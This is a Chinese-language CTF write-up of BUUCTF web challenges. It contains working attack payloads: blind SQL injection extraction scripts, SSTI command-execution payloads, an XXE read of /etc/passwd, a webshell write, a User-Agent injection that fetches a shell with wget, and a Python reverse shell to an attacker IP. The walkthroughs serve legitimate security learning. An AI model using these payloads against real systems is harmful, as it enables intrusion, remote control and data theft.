buuctf——web刷题第三页

第三页

目录

[FBCTF2019]RCEService

[0CTF 2016]piapiapia

[Zer0pts2020]Can you guess it?

[WUSTCTF2020]颜值成绩查询

[SUCTF 2019]Pythonginx

[MRCTF2020]套娃

[CSCCTF 2019 Qual]FlaskLight

[watevrCTF-2019]Cookie Store

[WUSTCTF2020]CV Maker

[红明谷CTF 2021]write_shell

[RCTF2015]EasySQL

[NCTF2019]True XML cookbook

[网鼎杯 2020 白虎组]PicDown

[b01lers2020]Welcome to Earth

[CISCN2019 华北赛区 Day1 Web1]Dropbox

[HFCTF2020]EasyLogin

October 2019 Twice SQL Injection

[SWPUCTF 2018]SimplePHP

[GYCTF2020]Ezsqli

[CISCN2019 总决赛 Day2 Web1]Easyweb

[RootersCTF2019]I_<3_Flask

[NPUCTF2020]ezinclude

[NCTF2019]SQLi

[网鼎杯 2020 半决赛]AliceWebsite

[网鼎杯 2018]Comment

[HarekazeCTF2019]encode_and_encode

[网鼎杯2018]Unfinish

[CISCN2019 华东南赛区]Double Secret


[FBCTF2019]RCEService
json格式,pcre回溯,绝对路径命令

提示用json格式写,然后看源码为cmd:

{"cmd":"ls"}

返回index.php

这里是被过滤了很多东西,这里我们可以通过%0A换行来绕过

?cmd={%0A%22cmd%22:%22ls /home%22%0A}

查看home目录发现rceservice

但是我们cat的时候发现没回显

其实一开始找flag的时候用到了“ find / -name flag”发现没回显,然后flag改为index.php后也没有,也就是这个命令根本执行不了

看看源码发现了这个东西:putenv('PATH=/home/rceservice/jail');

环境变量为jail,也就是我们需要通过绝对路径来调用函数,

Linux命令的位置:/bin,/usr/bin,默认都是全体用户使用,/sbin,/usr/sbin,默认root用户使用

所以我们找flag的payload:?cmd={%0A%22cmd%22:%22/usr/bin/find / -name flag%22%0A}

?cmd={%0A%22cmd%22:%22/bin/cat /home/rceservice/flag %22%0A}

读flag

这题还有一种做法, PCRE回溯机制有一个回溯限制次数——大约100 万次,当回溯超出这个次数,还没吐完的字符串就可以逃逸绕过匹配
通过发送超长字符串的方式,使正则执行失败,让传入的参数逃逸,从而正常执行命令绕过限制

(这题post提交也可以)

import requests

payload = '{"cmd":"ls /", "abc":"'+'a'*1000000+'"}'

url=''

res = requests.post("url",data = {"cmd":payload})

print(res.text)

[0CTF 2016]piapiapia

一开始以为是sql,结构是目录扫描,扫到www.zip文件

有一个flag

看一下这个class.php

<?php
require('config.php');

class user extends mysql{
    private $table = 'users';

    public function is_exists($username) {
        $username = parent::filter($username);

        $where = "username = '$username'";
        return parent::select($this->table, $where);
    }
    public function register($username, $password) {
        $username = parent::filter($username);
        $password = parent::filter($password);

        $key_list = Array('username', 'password');
        $value_list = Array($username, md5($password));
        return parent::insert($this->table, $key_list, $value_list);
    }
    public function login($username, $password) {
        $username = parent::filter($username);
        $password = parent::filter($password);

        $where = "username = '$username'";
        $object = parent::select($this->table, $where);
        if ($object && $object->password === md5($password)) {
            return true;
        } else {
            return false;
        }
    }
    public function show_profile($username) {
        $username = parent::filter($username);

        $where = "username = '$username'";
        $object = parent::select($this->table, $where);
        return $object->profile;
    }
    public function update_profile($username, $new_profile) {
        $username = parent::filter($username);
        $new_profile = parent::filter($new_profile);

        $where = "username = '$username'";
        return parent::update($this->table, 'profile', $new_profile, $where);
    }
    public function __tostring() {
        return __class__;
    }
}

class mysql {
    private $link = null;

    public function connect($config) {
        $this->link = mysql_connect(
            $config['hostname'],
            $config['username'], 
            $config['password']
        );
        mysql_select_db($config['database']);
        mysql_query("SET sql_mode='strict_all_tables'");

        return $this->link;
    }

    public function select($table, $where, $ret = '*') {
        $sql = "SELECT $ret FROM $table WHERE $where";
        $result = mysql_query($sql, $this->link);
        return mysql_fetch_object($result);
    }

    public function insert($table, $key_list, $value_list) {
        $key = implode(',', $key_list);
        $value = '\'' . implode('\',\'', $value_list) . '\''; 
        $sql = "INSERT INTO $table ($key) VALUES ($value)";
        return mysql_query($sql);
    }

    public function update($table, $key, $value, $where) {
        $sql = "UPDATE $table SET $key = '$value' WHERE $where";
        return mysql_query($sql);
    }

    public function filter($string) {
        $escape = array('\'', '\\\\');
        $escape = '/' . implode('|', $escape) . '/';
        $string = preg_replace($escape, '_', $string);

        $safe = array('select', 'insert', 'update', 'delete', 'where');
        $safe = '/' . implode('|', $safe) . '/i';
        return preg_replace($safe, 'hacker', $string);
    }
    public function __tostring() {
        return __class__;
    }
}
session_start();
$user = new user();
$user->connect($config);

还有profile.php

<?php
    require_once('class.php');
    if($_SESSION['username'] == null) {
        die('Login First'); 
    }
    $username = $_SESSION['username'];
    $profile=$user->show_profile($username);
    if($profile  == null) {
        header('Location: update.php');
    }
    else {
        $profile = unserialize($profile);
        $phone = $profile['phone'];
        $email = $profile['email'];
        $nickname = $profile['nickname'];
        $photo = base64_encode(file_get_contents($profile['photo']));
?>

我们在profile.php中找到了一个file_get_contents,然后看看怎么搞photo

photo的值来源于$profile['photo']

而profile的值来源于$profile = unserialize($profile);

看一下update.php

<?php
    require_once('class.php');
    if($_SESSION['username'] == null) {
        die('Login First'); 
    }
    if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

        $username = $_SESSION['username'];
        if(!preg_match('/^\d{11}$/', $_POST['phone']))
            die('Invalid phone');

        if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
            die('Invalid email');
        
        if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
            die('Invalid nickname');

        $file = $_FILES['photo'];
        if($file['size'] < 5 or $file['size'] > 1000000)
            die('Photo size error');

        move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
        $profile['phone'] = $_POST['phone'];
        $profile['email'] = $_POST['email'];
        $profile['nickname'] = $_POST['nickname'];
        $profile['photo'] = 'upload/' . md5($file['name']);

        $user->update_profile($username, serialize($profile));
        echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
    }
    else {
?>

$profile['photo'] = 'upload/' . md5($file['name']);这里直接传的话会md5加密,就不能搞到我们想要的

我们这里用到字符串逃逸:
public function filter($string) {

$escape = array('\'', '\\\\');

$escape = '/' . implode('|', $escape) . '/';

$string = preg_replace($escape, '_', $string);

$safe = array('select', 'insert', 'update', 'delete', 'where');

$safe = '/' . implode('|', $safe) . '/i';

return preg_replace($safe, 'hacker', $string);

}

只要我们传入'select', 'insert', 'update', 'delete', 'where'中任意一个,都会被替换成hacker

其中,where——>hacker就是从5个字符串到6个字符串

先来个正常的:

<?php
$profile['phone'] = '11451451451';
$profile['email'] = 'admin@qq.com';
$profile['nickname'] = 'admin';
$profile['photo'] = 'config.php';
echo serialize($profile);
?>

序列化后为

a:4:{s:5:"phone";s:11:"11451451451";s:5:"email";s:12:"admin@qq.com";s:8:"nickname";s:5:"admin";s:5:"photo";s:10:"config.php";}

这里,红色部分是正确的,是我们想要的,但是这个片段会被md5加密,我们就可以给 nickname 这个参数

传入红色部分:

<?php
$profile['phone'] = '11451451451';
$profile['email'] = 'admin@qq.com';
$profile['nickname'] = '"};s:5:"photo";s:10:"config.php";}';
$profile['photo'] = 'config.php';
echo serialize($profile);
?>

结果:

a:4:{s:5:"phone";s:11:"11451451451";s:5:"email";s:12:"admin@qq.com";s:8:"nickname";s:34:""};s:5:"photo";s:10:"config.php";}";s:5:"photo";s:10:"config.php";}

红色部分为传入的值,共34位,绿色部分因为;}的存在会被去掉

但是这时候红色部分任视为变量nickname的值,我们就要把他顶出来,可以连续34个where

那么为什么我们是";}s:5:"photo";s:10:"config.php";} ,为什么有个}呢

我们做个测试:

可见数组序列化是要多一个{}的,

因为where和hacker相差1,我们就用34个来把上面的红字部分顶出来

payload:

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

记得把nickname加上[],这里源码限制nickname长度小于10,用数组绕过

然后去profile.php看源码,发现base64加密

[Zer0pts2020]Can you guess it?
$_SERVER['PHP_SELF']和basename

点一下source看源码:

<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
  exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
  highlight_file(basename($_SERVER['PHP_SELF']));
  exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
  $guess = (string) $_POST['guess'];
  if (hash_equals($secret, $guess)) {
    $message = 'Congratulations! The flag is: ' . FLAG;
  } else {
    $message = 'Wrong.';
  }
}
?>
<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>Can you guess it?</title>
  </head>
  <body>
    <h1>Can you guess it?</h1>
    <p>If your guess is correct, I'll give you the flag.</p>
    <p><a href="?source">Source</a></p>
    <hr>
<?php if (isset($message)) { ?>
    <p><?= $message ?></p>
<?php } ?>
    <form action="index.php" method="POST">
      <input type="text" name="guess">
      <input type="submit">
    </form>
  </body>
</html>

$_SERVER['PHP_SELF']会获取我们当前的访问路径,并且PHP在根据URI解析到对应文件后会忽略掉URL中多余的部分,即若访问存在的index.php页面,如下两种UR均会访问到。

/index.php

/index.php/config.php

basename可以理解为对传入的参数路径截取最后一段作为返回值,但是该函数发现最后一段为不可见字符时会退取上一层的目录,即:

$var1="/config.php/test"

basename($var1) => test

$var2="/config.php/%ff"

basename($var2) => config.php

我们就可以直接/index.php/config.php/%ff?source

[WUSTCTF2020]颜值成绩查询

这里发现就1~4有东西

然后试了一下好像也没用上union,select,后面发现用bool盲注

使用^异或,

即1^1查询出来不存在

1^0查出来存在

这里直接放一个大佬的脚本:

不过这个脚本不是异或,就是普通的比较

import time

import requests

Success_message = "Hi"


def database_name():
    db_name = ''
    for i in range(1, 10):
        begin = 32
        end = 126
        mid = (begin + end) // 2
        while begin < end:
            payload = url + "?stunum=(ascii(substr(database(), %d, 1)) > %d)" % (i, mid)
            res = requests.get(payload)
            if Success_message in res.text:
                begin = mid + 1
            else:
                end = mid
            mid = (begin + end) // 2
        if mid == 32:
            print()
            break
        db_name += chr(mid)
        print("数据库名: " + db_name)
    return db_name


def table_name():
    name = ''
    for j in range(1, 100):
        begin = 32
        end = 126
        mid = (begin + end) // 2
        while begin < end:
            payload = url + '?stunum=(ascii(substr((select(group_concat(table_name))from(' \
                            'information_schema.tables)where(table_schema=database())), %d, 1)) > %d)' % (j, mid)
            time.sleep(0.2)
            res = requests.get(payload)
            if Success_message in res.text:
                begin = mid + 1
            else:
                end = mid
            mid = (begin + end) // 2
        if mid == 32:
            print()
            break
        name += chr(mid)
        print("表名: " + name)
    table_list = name.split(",")
    for tab_name in table_list:
        column_name(tab_name)


def column_name(tab_name):
    name = ''
    for j in range(1, 100):
        begin = 32
        end = 126
        mid = (begin + end) // 2
        while begin < end:
            payload = url + '?stunum=(ascii(substr((select(group_concat(column_name))from(' \
                            'information_schema.columns)where(table_name="%s")and(table_schema=database())), %d, ' \
                            '1)) > %d)' % (tab_name, j, mid)
            time.sleep(0.2)
            res = requests.get(payload)
            if Success_message in res.text:
                begin = mid + 1
            else:
                end = mid
            mid = (begin + end) // 2
        if mid == 32:
            print()
            break
        name += chr(mid)
        print(("%s表的字段名: " + name) % tab_name)
    column_list = name.split(",")
    for col_name in column_list:
        get_data(tab_name, col_name)


def get_data(tab_name, col_name):
    data = ''
    for i in range(1, 100):
        begin = 32
        end = 126
        mid = (begin + end) // 2
        while begin < end:
            payload = url + '?stunum=(ascii(substr((select(%s)from(%s)),%d,1)) > %d)' % (
                col_name, tab_name, i, mid)
            time.sleep(0.2)
            res = requests.get(payload)
            if Success_message in res.text:
                begin = mid + 1
            else:
                end = mid
            mid = (begin + end) // 2
        if mid == 32:
            print()
            break
        data += chr(mid)
        print(("%s表的%s字段数据: " + data) % (tab_name, col_name))


if __name__ == '__main__':
    url = input("请输入url:")
    database_name()
    table_name()

如果是异或的话,就给个参考:

import requests
import time
import string

url='http://258998ef-4e58-489f-b5f4-1218d6369b7a.node5.buuoj.cn:81/'

str=string.digits + string.ascii_lowercase + '{}-_'

result =''

for i in range(1,100):
    for j in str:
        payload=url+'?stunum=0^(ascii(substr(database(),{i},1))={q})'.format(i=i,q=ord(j))
        res=requests.get(payload)
        time.sleep(0.2)
        if 'Hi' in res.text:
            result+=j
            print(result)
            break

但是这个确实比二分法慢多了

[SUCTF 2019]Pythonginx
idan编码unicode解码+nginx配置文件

源码:

@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
    url = request.args.get("url")
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return "我扌 your problem? 111"
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return "我扌 your problem? 222 " + host
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    # 去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return urllib.request.urlopen(finalUrl).read()
    else:
        return "我扌 your problem? 333"

简单测试一下

import requests
from urllib import parse
from urllib.parse import urlsplit, urlunsplit
import urllib.request

def a(url):
    host = parse.urlparse(url).hostname
    print ('1'+host)
    parts = list(urlsplit(url))
    print(parts)
    host = parts[1]
    print ('2'+host)
    newhost = []
    print(newhost)
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    print(newhost)
    print(parts)
    # 去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    print(finalUrl)
    host = parse.urlparse(finalUrl).hostname
    print ('3'+host)

url = 'http://getUrl/suctf.cc/'
a(url)

emmm,看了大佬的博客,说是通过

for h in host.split('.'):

newhost.append(h.encode('idna').decode('utf-8'))

的编码,解码不一致绕过

这里也是直接拿了大佬的脚本来过:

chars = ['s', 'u', 'c', 't', 'f']
for c in chars:
    for i in range(0x7f, 0x10FFFF):
        try:
            char_i = chr(i).encode('idna').decode('utf-8')
            if char_i == c:
                print('ASCII: {}   Unicode: {}    Number: {}'.format(c, chr(i), i))
        except:
            pass

运行后就可以自己替换一个

这里是配置文件里面有flag的路径

/getUrl?url=file://𝑆uctf.cc/usr/local/nginx/conf/nginx.conf

/getUrl?url=file://𝑆uctf.cc/usr/fffffflag

部分nginx的配置文件所在位置

配置文件存放目录:/etc/nginx

主配置文件:/etc/nginx/conf/nginx.conf

管理脚本:/usr/lib64/systemd/system/nginx.service

模块:/usr/lisb64/nginx/modules

应用程序:/usr/sbin/nginx

程序默认存放位置:/usr/share/nginx/html

日志默认存放位置:/var/log/nginx

[MRCTF2020]套娃

抓包看到有代码:

<!--
//1st
$query = $_SERVER['QUERY_STRING'];

 if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    die('Y0u are So cutE!');
}
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    echo "you are going to the next ~";
}
!-->

不能出现_,我们就用.来替代,因为如果变量中有.和空格,会自动转为_

然后preg_match我们就用换行符绕过

?b.u.p.t=23333%0a

访问抓包发现有一坨东西;

问ai是 JSFuck 编码

解码网站

post提交Merak,看到源码:

<?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';

if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 
} 


function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>

这个getIp()尝试过常见的XFF绕过方法无效,要添加一个Client-ip请求字段

然后2333就是典的data伪协议

change的话是对base64解码后偏转

这里是直接搬运了一个脚本:

<?php 
function change($v) {
    $v = base64_decode($v);
    $re = '';
    for ($i=0; $i < strlen($v); $i++) { 
        $re .= chr(ord($v[$i]) + $i * 2);
    }
    return $re;
}

function unChange($v){
    $re = '';
    for ($i=0; $i < strlen($v); $i++) { 
        $re .= chr(ord($v[$i]) - $i * 2);
    }
    $re = base64_encode($re);
    return $re;
}

ZmpdYSZmXGI=

[CSCCTF 2019 Qual]FlaskLight
ssti

抓包查看,有提示

ssti

这题可以直接用fenqing跑出来

但是我们还是希望知道到底怎么搞

payload:

{{lipsum['__g''lobals__'].__builtins__.__import__('os').popen('ls').read()}}

{{lipsum['__g''lobals__'].get('os').popen('cat flasklight/coomme_geeeett_youur_flek').read()}}

——————————————

这里我们如果输入{{''.__class__.__base__.__subclasses__()}}

看不了,那就用mro

{{''.__class__.__mro__[2].__subclasses__()}}

这里的 mro[2] 相当于返回当前类的上两级,便到了object类,成功

然后就开始找有什么可以用的

这里拿一个大佬的脚本

import requests
url = input('请输入url链接:')
for i in range(500):
data = "?search={{().class.base.subclasses()["+str(i)+"].init['glo'+'bals']}}"
url += data;
try:
response = requests.get(url)
# print(response.text)
if 'os.py' in response.text:
print(i)
break
except:
pass

就是找到os模块来调用

——————————

还可以用config

{{config.__class__.__init__['__g''lobals__'].os.popen('ls').read()}}

[watevrCTF-2019]Cookie Store

抓包看到session有东西,base64加密,拿去解密

我们把他换成500然后带回去

出flag:

[WUSTCTF2020]CV Maker

注册后登录,然后文件上传:

出:

[红明谷CTF 2021]write_shell
<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
    if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
        // if(preg_match("/'| |_|=|php/",$input)){
        die('hacker!!!');
    }else{
        return $input;
    }
}

function waf($input){
  if(is_array($input)){
      foreach($input as $key=>$output){
          $input[$key] = waf($output);
      }
  }else{
      $input = check($input);
  }
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
    mkdir($dir);
}
switch($_GET["action"] ?? "") {
    case 'pwd':
        echo $dir;
        break;
    case 'upload':
        $data = $_GET["data"] ?? "";
        waf($data);
        file_put_contents("$dir" . "index.php", $data);
}
?>

先看看源码:

check是用来过滤的,waf判断是否为数组,switch就是我们利用的部分

sandbox/17ac2685d5d5a6c401e7f5b28a603095/

data就是我们可以写入命令的地方:

?action=upload&data=%3C?=`ls%09/`?%3E,访问:

?action=upload&data=%3C?=`tac%09/f*`?%3E 出

[RCTF2015]EasySQL
二次注入,reverse反转,estractvalue报错注入

打开界面发现有2个模块,login和register

登录后发现有个修改密码的模块,有二次注入

猜测修改代码的逻辑是这样:

update password='xxxx' where username="xxxx"

然后发现修改代码部分正常的没回显的,所以要用到报错注入

表:

1"||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database())))#

1"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='flag')))#

1"||extractvalue(1,concat(0x7e,(select(group_concat(flag))from(flag))))#

6,看看users表

其实这里应该是real_flag_1s_here,但是extractvalue最多显示32位,我们可以用

reverse()来反转

try

1"||extractvalue(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users))))#

发现有这个东西,这里猜测是填充了这种无效的信息,那我们就用正则表达式来筛选

1"||extractvalue(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))))#

倒叙:1"||extractvalue(1,reverse(concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))))#

flag{eaf13c40-4425-4a14-883a-088405548177}

[NCTF2019]True XML cookbook

总感觉在哪里见过

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE note [

<!ENTITY admin SYSTEM "file:///etc/passwd">

]>

可以查看账户的基本信息,然后发现不能直接访问,看了大佬的博客

一些关于内网的文件

/proc/net/tcp—— 显示当前系统中所有 TCP 连接的状态

/proc/net/udp—— 显示当前系统中所有 UDP 套接字的信息

/proc/net/dev—— 展示了所有 网络接口的收发统计信息

/proc/net/fib_trie——这是 FIB的一个调试接口,显示了 Linux 路由表的 Trie 树结构

FIB 是路由子系统的一部分,用于决定 IP 数据包的下一跳地址

/proc/hosts—— 查看内网存活主机

/proc/net/arp——查看系统的 ARP 表

arp就是把ipv4地址转换为ipv6

然后很奇怪,我看其他师傅这么搞都可以显示出内网ip,但是我没有:

总之就是找到内网ip后用http去试,找flag

file=index.php的时候发现返回一个空界面,filter过滤器转base64:

?file=php://filter/convert.base64-encode/resource=index.php

解密后:

<?php

ini_set('open_basedir', '/var/www/html/');

// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
    if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
        echo('no way!');
        exit;
    }
    @include($file);
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>index</title>
<base href="./">
<meta charset="utf-8" />

<link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet">

</head>
<body>
<div id="h">
   <div class="container">
        <h2>2077发售了,不来份实体典藏版吗?</h2>
        <img class="logo" src="./assets/img/logo-en.png"><!--LOGOLOGOLOGOLOGO-->
        <div class="row">
         <div class="col-md-8 col-md-offset-2 centered">
                <h3>提交订单</h3>
                <form role="form" action="./confirm.php" method="post" enctype="application/x-www-urlencoded">
                    <p>
                    <h3>姓名:</h3>
                    <input type="text" class="subscribe-input" name="user_name">
                    <h3>电话:</h3>
                    <input type="text" class="subscribe-input" name="phone">
                    <h3>地址:</h3>
                    <input type="text" class="subscribe-input" name="address">
                    </p>
                    <button class='btn btn-lg  btn-sub btn-white' type="submit">我正是送钱之人</button>
                </form>
            </div>
        </div>
    </div>
</div>

<div id="f">
    <div class="container">
      <div class="row">
            <h2 class="mb">订单管理</h2>
            <a href="./search.php">
                <button class="btn btn-lg btn-register btn-white" >我要查订单</button>
            </a>
            <a href="./change.php">
                <button class="btn btn-lg btn-register btn-white" >我要修改收货地址</button>
            </a>
            <a href="./delete.php">
                <button class="btn btn-lg btn-register btn-white" >我不想要了</button>
            </a>
      </div>
   </div>
</div>

<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>
<!--?file=?-->

然后尝试了几个文件没啥用,看看给的3个php文件

search.php:

<?php

require_once "config.php"; 

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ 
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        if(!$row) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>

change.php:

<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = addslashes($_POST["address"]);
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单修改成功";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>

delete.php:

<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ 
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $result = $db->query('delete from `user` where `user_id`=' . $row["user_id"]);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单删除成功";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>

发现config.php:

<?php

ini_set("open_basedir", getcwd() . ":/etc:/tmp");

$DATABASE = array(

    "host" => "127.0.0.1",
    "username" => "root",
    "password" => "root",
    "dbname" =>"ctfusers"
);

$db = new mysqli($DATABASE['host'],$DATABASE['username'],$DATABASE['password'],$DATABASE['dbname']);

通过代码审计,发现突破口因该是address,也就是二次注入

语句就是

$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];

首先说一下,这题的flag在flag.txt里面,至于为什么在这里面,看了几个wp也没看到(悲)

这里可以address=',`address`=(select(load_file("/flag.txt")))#

将所有的address值都变为flag.txt中内容

就是输入数据,address为',`address`=(select(load_file("/flag.txt")))#

然后change中随便address去修改,然后再查询就好了

当然。还可以用报错注入:(和上面那题几乎一样)

1' where user_id=extractvalue(1,concat(0x7e,(select substr(load_file('/flag.txt'),31,60))))#

1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,30)),0x7e),1)#

[网鼎杯 2020 白虎组]PicDown

python2的urlliburlopen

抓包,看到url试试文件读取,file协议不行,直接可以

这里是 python2的urlliburlopen,和urllib2中的urlopen明显区别就是urllib.urlopen支持将路径作为参数去打开对应的本地路径,所以可以直接填入路径读取文件

包含environ

恶意代码注入到/proc/self/environ

?page=../../../../../proc/self/environ

User-Agent如下:

<?system('wget shell-url -O shell.php');?>

proc目录

proc文件系统是一个伪文件系统,它只存在内存当中,而不占用外存空间。它以文件系统的方式为访问系统内核数据的操作提供接口。

还有的是一些以数字命名的目录,他们是进程目录。系统中当前运行的每一个进程都有对应的一个目录在/proc下,以进程的PID号为目录名,他们是读取进程信息的接口。而self目录则是读取进程本身的信息接口,是一个link

进程中的部分文件

cmdline

cmdline 文件存储着启动当前进程的完整命令,但僵尸进程目录中的此文件不包含任何信息

cwd

cwd 文件是个指向当前进程运行目录的符号链接。可以通过查看cwd文件获取目标指定进程环境的运行目录

exe

exe 是一个指向启动当前进程的可执行文件(完整路径)的符号链接。通过exe文件我们可以获得指定进程的可执行文件的完整路径

environ

environ文件存储着当前进程的环境变量列表,彼此间用空字符(NULL)隔开,变量用大写字母表示,其值用小写字母表示。可以通过查看environ目录来获取指定进程的环境变量信息

fd

fd是一个目录,里面包含着当前进程打开的每一个文件的描述符(file descriptor)差不多就是路径,这些文件描述符是指向实际文件的一个符号连接,即每个通过这个进程打开的文件都会显示在这里。所以我们可以通过fd目录的文件获取进程,从而打开每个文件的路径以及文件内容

查看指定进程打开的某个文件的内容。加上那个数字即可,在Linux系统中,如果一个程序用 open() 打开了一个文件,但是最终没有关闭它,即使从外部(如:os.remove(SECRET_FILE))删除这个文件之后,在/proc这个进程的 pid目录下的fd文件描述符目录下还是会有这个文件的文件描述符,通过这个文件描述符我们即可以得到被删除的文件的内容

self

/proc/self表示当前进程目录

?url=/proc/self/cwd/app.py看源码

from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)


@app.route('/')
def index():
    return render_template('search.html')


@app.route('/page')
def page():
    url = request.args.get("url")
    try:
        if not url.lower().startswith("file"):
            res = urllib.urlopen(url)
            value = res.read()
            response = Response(value, mimetype='application/octet-stream')
            response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
            return response
        else:
            value = "HACK ERROR!"
    except:
        value = "SOMETHING WRONG!"
    return render_template('search.html', res=value)


@app.route('/no_one_know_the_manager')
def manager():
    key = request.args.get("key")
    print(SECRET_KEY)
    if key == SECRET_KEY:
        shell = request.args.get("shell")
        os.system(shell)
        res = "ok"
    else:
        res = "Wrong Key!"

    return res


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)

审计,我们需要利用/no_one_know_the_manager,同时需要key

key这里我们利用fd

爆破发现key

然后反弹shell

?key=arzTSdH0PKQWVMcQ1SNPOe0xiO7SgzsYe8jK+ATmpqg=&shell=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("你自己的ip",端口号));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

或者外带

